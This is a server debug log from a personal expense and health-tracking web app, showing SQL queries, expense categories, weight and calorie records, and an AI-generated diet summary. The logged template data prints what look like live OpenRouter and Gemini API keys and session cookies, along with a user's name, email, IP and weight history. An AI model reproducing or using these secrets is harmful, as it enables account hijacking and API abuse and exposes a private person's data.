2025-12-24T04:01:58.229Z server-connect:output restrict: undefined
2025-12-24T04:01:58.229Z server-connect:app Executing action step select
2025-12-24T04:01:58.229Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T04:01:58.230Z server-connect:output restrict: undefined
2025-12-24T04:01:58.230Z server-connect:app Executing action step single
2025-12-24T04:01:58.230Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T04:01:58.234Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T04:01:58.236Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T04:16:20.348Z server-connect:router Serving templateView /weight-trackor
2025-12-24T04:16:20.348Z server-connect:app Executing action step identify
2025-12-24T04:16:20.348Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:20.348Z server-connect:output identity: 1
2025-12-24T04:16:20.348Z server-connect:app Executing action step restrict
2025-12-24T04:16:20.348Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T04:16:20.350Z server-connect:output restrict: undefined
2025-12-24T04:16:20.350Z server-connect:router Render template weight-trackor
2025-12-24T04:16:20.350Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T04:16:20.576Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T04:16:20.577Z server-connect:app Executing action step identify
2025-12-24T04:16:20.577Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:20.577Z server-connect:output identity: 1
2025-12-24T04:16:20.577Z server-connect:app Executing action step restrict
2025-12-24T04:16:20.577Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T04:16:20.577Z server-connect:output restrict: undefined
2025-12-24T04:16:20.577Z server-connect:app Executing action step custom
2025-12-24T04:16:20.577Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T04:16:20.579Z server-connect:output list: [
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T04:16:21.387Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T04:16:21.387Z server-connect:app Executing action step identify
2025-12-24T04:16:21.388Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:21.388Z server-connect:output identity: 1
2025-12-24T04:16:21.388Z server-connect:app Executing action step restrict
2025-12-24T04:16:21.388Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T04:16:21.388Z server-connect:output restrict: undefined
2025-12-24T04:16:21.388Z server-connect:router Render template calorie-tracker
2025-12-24T04:16:21.389Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T04:16:21.615Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T04:16:21.616Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T04:16:21.616Z server-connect:app Executing action step identify
2025-12-24T04:16:21.616Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:21.616Z server-connect:output identity: 1
2025-12-24T04:16:21.617Z server-connect:app Executing action step restrict
2025-12-24T04:16:21.617Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T04:16:21.617Z server-connect:app Executing action step identify
2025-12-24T04:16:21.617Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:21.617Z server-connect:output identity: 1
2025-12-24T04:16:21.617Z server-connect:app Executing action step restrict
2025-12-24T04:16:21.617Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:21.617Z server-connect:output restrict: undefined
2025-12-24T04:16:21.617Z server-connect:app Executing action step single
2025-12-24T04:16:21.617Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T04:16:21.618Z server-connect:output restrict: undefined
2025-12-24T04:16:21.618Z server-connect:app Executing action step single
2025-12-24T04:16:21.618Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T04:16:21.620Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition shows a good start with protein intake, particularly from the whey supplement, which supports muscle development. The inclusion of guava is beneficial for micronutrients. However, the overall meal composition appears limited, potentially impacting sustained energy and recovery. Consistency in varied food choices will be key for optimal progress.",
    bad_points: [
      'Limited variety in food consumed, potentially lacking in essential nutrients and fiber.',
      'Meal composition seems to be heavily skewed towards carbohydrates and protein, with less emphasis on healthy fats and diverse vegetables.',
      'No clear indication of post-workout nutrition or other meals throughout the day.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of fruit (guava) for micronutrients.',
      'Pre-workout supplement used to prepare for the gym session.'
    ],
    suggestions: [
      'Incorporate a balanced meal post-workout to aid recovery and muscle repair.',
      'Add a source of healthy fats, such as nuts or seeds, to meals.',
      'Include a wider variety of vegetables and whole grains for increased fiber and micronutrient intake.',
      'Ensure consistent hydration throughout the day.'
    ],
    predicted_weight: 69.5,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T04:16:21.621Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T04:16:21.621Z server-connect:app Executing action step select
2025-12-24T04:16:21.621Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T04:16:21.623Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
